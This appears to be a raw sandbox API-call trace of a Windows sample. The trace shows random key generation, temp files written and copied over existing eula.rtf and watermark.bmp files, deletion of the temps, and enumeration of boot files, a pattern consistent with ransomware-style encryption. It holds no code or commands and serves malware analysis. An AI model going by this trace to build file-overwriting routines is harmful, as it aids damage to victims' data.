	[0237.095] ReadFile (in: hFile=0x198, lpBuffer=0xc00039d5b8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00039d5b8*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.095] CloseHandle (hObject=0x198) returned 1
	[0237.095] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f760 | out: pbBuffer=0xc00000f760) returned 1
	[0237.095] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010ab0 | out: pbBuffer=0xc000010ab0) returned 1
	[0237.095] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001201 | out: pbBuffer=0xc000001201) returned 1
	[0237.126] VirtualAlloc (lpAddress=0xc00039e000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00039e000
	[0237.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.216] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0237.216] GetFileType (hFile=0x198) returned 0x1
	[0237.217] WriteFile (in: hFile=0x198, lpBuffer=0xc00039e000*, nNumberOfBytesToWrite=0xd6b8, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc00039e000*, lpNumberOfBytesWritten=0xc0001a9bec*=0xd6b8, lpOverlapped=0x0) returned 1
	[0237.221] CloseHandle (hObject=0x198) returned 1
	[0237.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.259] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.259] GetFileType (hFile=0x198) returned 0x1
	[0237.259] VirtualAlloc (lpAddress=0xc000346000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000346000
	[0237.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.262] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.262] GetFileType (hFile=0x19c) returned 0x1
	[0237.262] VirtualAlloc (lpAddress=0xc000348000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000348000
	[0237.264] ReadFile (in: hFile=0x19c, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0237.264] WriteFile (in: hFile=0x198, lpBuffer=0xc000348000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x8000, lpOverlapped=0x0) returned 1
	[0237.268] ReadFile (in: hFile=0x19c, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x56b8, lpOverlapped=0x0) returned 1
	[0237.268] WriteFile (in: hFile=0x198, lpBuffer=0xc000348000*, nNumberOfBytesToWrite=0x56b8, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x56b8, lpOverlapped=0x0) returned 1
	[0237.269] ReadFile (in: hFile=0x19c, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.269] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0
	[0237.270] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0
	[0237.270] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0x20
	[0237.270] CloseHandle (hObject=0x19c) returned 1
	[0237.270] CloseHandle (hObject=0x198) returned 1
	[0237.273] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 1
	[0237.422] SetEvent (hEvent=0xd4) returned 1
	[0237.422] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.422] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.422] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0237.422] GetFileType (hFile=0x198) returned 0x1
	[0237.422] GetFileType (hFile=0x198) returned 0x1
	[0237.422] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0237.423] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0237.423] VirtualAlloc (lpAddress=0xc000366000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000366000
	[0237.423] ReadFile (in: hFile=0x198, lpBuffer=0xc000336600, nNumberOfBytesToRead=0x12af, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000336600*, lpNumberOfBytesRead=0xc0001a9b04*=0x10af, lpOverlapped=0x0) returned 1
	[0237.426] ReadFile (in: hFile=0x198, lpBuffer=0xc0003376af, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003376af*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.426] CloseHandle (hObject=0x198) returned 1
	[0237.427] VirtualAlloc (lpAddress=0xc000368000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000368000
	[0237.428] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000368060 | out: pbBuffer=0xc000368060) returned 1
	[0237.428] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095a70 | out: pbBuffer=0xc000095a70) returned 1
	[0237.429] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000083901 | out: pbBuffer=0xc000083901) returned 1
	[0237.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.605] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0237.605] GetFileType (hFile=0x198) returned 0x1
	[0237.605] VirtualAlloc (lpAddress=0xc00036a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036a000
	[0237.606] WriteFile (in: hFile=0x198, lpBuffer=0xc000337900*, nNumberOfBytesToWrite=0x11af, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc000337900*, lpNumberOfBytesWritten=0xc0001a9bec*=0x11af, lpOverlapped=0x0) returned 1
	[0237.609] CloseHandle (hObject=0x198) returned 1
	[0237.672] SetEvent (hEvent=0x124) returned 1
	[0237.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.674] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.674] GetFileType (hFile=0x198) returned 0x1
	[0237.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.675] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.675] GetFileType (hFile=0x19c) returned 0x1
	[0237.675] VirtualAlloc (lpAddress=0xc0003c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c4000
	[0237.675] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x11af, lpOverlapped=0x0) returned 1
	[0237.676] WriteFile (in: hFile=0x198, lpBuffer=0xc0003c4000*, nNumberOfBytesToWrite=0x11af, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x11af, lpOverlapped=0x0) returned 1
	[0237.678] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.678] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0
	[0237.679] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0
	[0237.679] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 0x20
	[0237.679] CloseHandle (hObject=0x19c) returned 1
	[0237.679] CloseHandle (hObject=0x198) returned 1
	[0237.680] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d643d00bbac0c5f87e584e4bb10fee1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d643d00bbac0c5f87e584e4bb10fee1")) returned 1
	[0237.833] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0237.972] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.066] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.140] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.224] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.227] SetEvent (hEvent=0x190) returned 1
	[0238.227] SetEvent (hEvent=0x1a0) returned 1
	[0238.227] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.242] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.275] SetEvent (hEvent=0xe4) returned 1
	[0238.276] SwitchToThread () returned 1
	[0238.282] SetEvent (hEvent=0x1a0) returned 1
	[0238.282] WriteFile (in: hFile=0x198, lpBuffer=0xc0004a2000*, nNumberOfBytesToWrite=0x19888, lpNumberOfBytesWritten=0xc000451bec, lpOverlapped=0x0 | out: lpBuffer=0xc0004a2000*, lpNumberOfBytesWritten=0xc000451bec*=0x19888, lpOverlapped=0x0) returned 1
	[0238.290] CloseHandle (hObject=0x198) returned 1
	[0238.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0238.303] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000451d74 | out: lpMode=0xc000451d74) returned 0
	[0238.303] GetFileType (hFile=0x198) returned 0x1
	[0238.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0238.303] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000451d74 | out: lpMode=0xc000451d74) returned 0
	[0238.303] GetFileType (hFile=0x1ac) returned 0x1
	[0238.304] VirtualAlloc (lpAddress=0xc000376000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000376000
	[0238.306] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000376000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000451bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesRead=0xc000451bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0238.306] WriteFile (in: hFile=0x198, lpBuffer=0xc000376000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000451b74, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesWritten=0xc000451b74*=0x8000, lpOverlapped=0x0) returned 1
	[0238.310] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000376000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000451bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesRead=0xc000451bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0238.310] WriteFile (in: hFile=0x198, lpBuffer=0xc000376000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000451b74, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesWritten=0xc000451b74*=0x8000, lpOverlapped=0x0) returned 1
	[0238.312] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000376000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000451bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesRead=0xc000451bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0238.312] WriteFile (in: hFile=0x198, lpBuffer=0xc000376000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000451b74, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesWritten=0xc000451b74*=0x8000, lpOverlapped=0x0) returned 1
	[0238.313] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000376000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000451bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesRead=0xc000451bd4*=0x1888, lpOverlapped=0x0) returned 1
	[0238.313] WriteFile (in: hFile=0x198, lpBuffer=0xc000376000*, nNumberOfBytesToWrite=0x1888, lpNumberOfBytesWritten=0xc000451b74, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesWritten=0xc000451b74*=0x1888, lpOverlapped=0x0) returned 1
	[0238.314] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000376000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000451bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000376000*, lpNumberOfBytesRead=0xc000451bd4*=0x0, lpOverlapped=0x0) returned 1
	[0238.314] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0
	[0238.314] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0
	[0238.314] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 0x20
	[0238.314] CloseHandle (hObject=0x1ac) returned 1
	[0238.315] CloseHandle (hObject=0x198) returned 1
	[0238.328] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.350] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52f0538274f812ffe44cc03dad0ef032" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52f0538274f812ffe44cc03dad0ef032")) returned 1
	[0238.355] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0238.384] SetEvent (hEvent=0x1a0) returned 1
	[0238.384] SetEvent (hEvent=0xe4) returned 1
	[0238.384] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0238.418] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0238.418] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0238.418] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0238.419] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0238.419] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0238.419] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0238.419] VirtualAlloc (lpAddress=0xc00037e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00037e000
	[0238.419] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0238.420] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0238.422] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
